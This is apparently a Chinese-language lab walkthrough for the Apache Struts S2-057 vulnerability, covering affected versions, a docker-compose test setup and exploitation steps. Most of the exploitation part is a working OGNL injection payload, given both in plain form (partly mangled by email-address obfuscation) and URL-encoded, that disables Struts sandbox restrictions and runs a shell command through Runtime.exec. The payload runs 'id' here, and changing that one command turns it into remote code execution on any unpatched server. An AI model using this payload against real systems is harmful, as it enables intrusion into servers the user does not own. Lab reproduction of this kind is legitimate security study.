影响版本
Struts <= Struts 2.3.34, Struts 2.5.16
环境搭建
启动Struts 2.3.34环境:
docker-compose up -d
启动环境后，访问http://your-ip: 8080/show/，您将看到Struts2测试页面。
漏洞利用
利用
S2-057要求具备以下条件:
action元素没有设置名称空间属性，或者使用了通配符
名称空间将由用户从uri传递并解析为OGNL表达式，最终导致远程代码执行漏洞。
有效载荷:
花括号进行url编码
http://your-ip:8080/$%7B1+1%7D/actionChain1.action
可以发现我们的一加一算法得出结果了
使用来自S2-057漏洞分析和POC的有效载荷:
${
(#[email protected]@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#[email protected]@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}进行url编码
%24%7b%0a%28%23%64%6d%3d%40%6f%67%6e%6c%2e%4f%67%6e%6c%43%6f%6e%74%65%78%74%40%44%45%46%41%55%4c%54%5f%4d%45%4d%42%45%52%5f%41%43%43%45%53%53%29%2e%28%23%63%74%3d%23%72%65%71%75%65%73%74%5b%27%73%74%72%75%74%73%2e%76%61%6c%75%65%53%74%61%63%6b%27%5d%2e%63%6f%6e%74%65%78%74%29%2e%28%23%63%72%3d%23%63%74%5b%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%2e%63%6f%6e%74%61%69%6e%65%72%27%5d%29%2e%28%23%6f%75%3d%23%63%72%2e%67%65%74%49%6e%73%74%61%6e%63%65%28%40%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%6f%67%6e%6c%2e%4f%67%6e%6c%55%74%69%6c%40%63%6c%61%73%73%29%29%2e%28%23%6f%75%2e%67%65%74%45%78%63%6c%75%64%65%64%50%61%63%6b%61%67%65%4e%61%6d%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%6f%75%2e%67%65%74%45%78%63%6c%75%64%65%64%43%6c%61%73%73%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%63%74%2e%73%65%74%4d%65%6d%62%65%72%41%63%63%65%73%73%28%23%64%6d%29%29%2e%28%23%61%3d%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%69%64%27%29%29%2e%28%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%74%6f%53%74%72%69%6e%67%28%23%61%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29%7d
id命令进行了执行
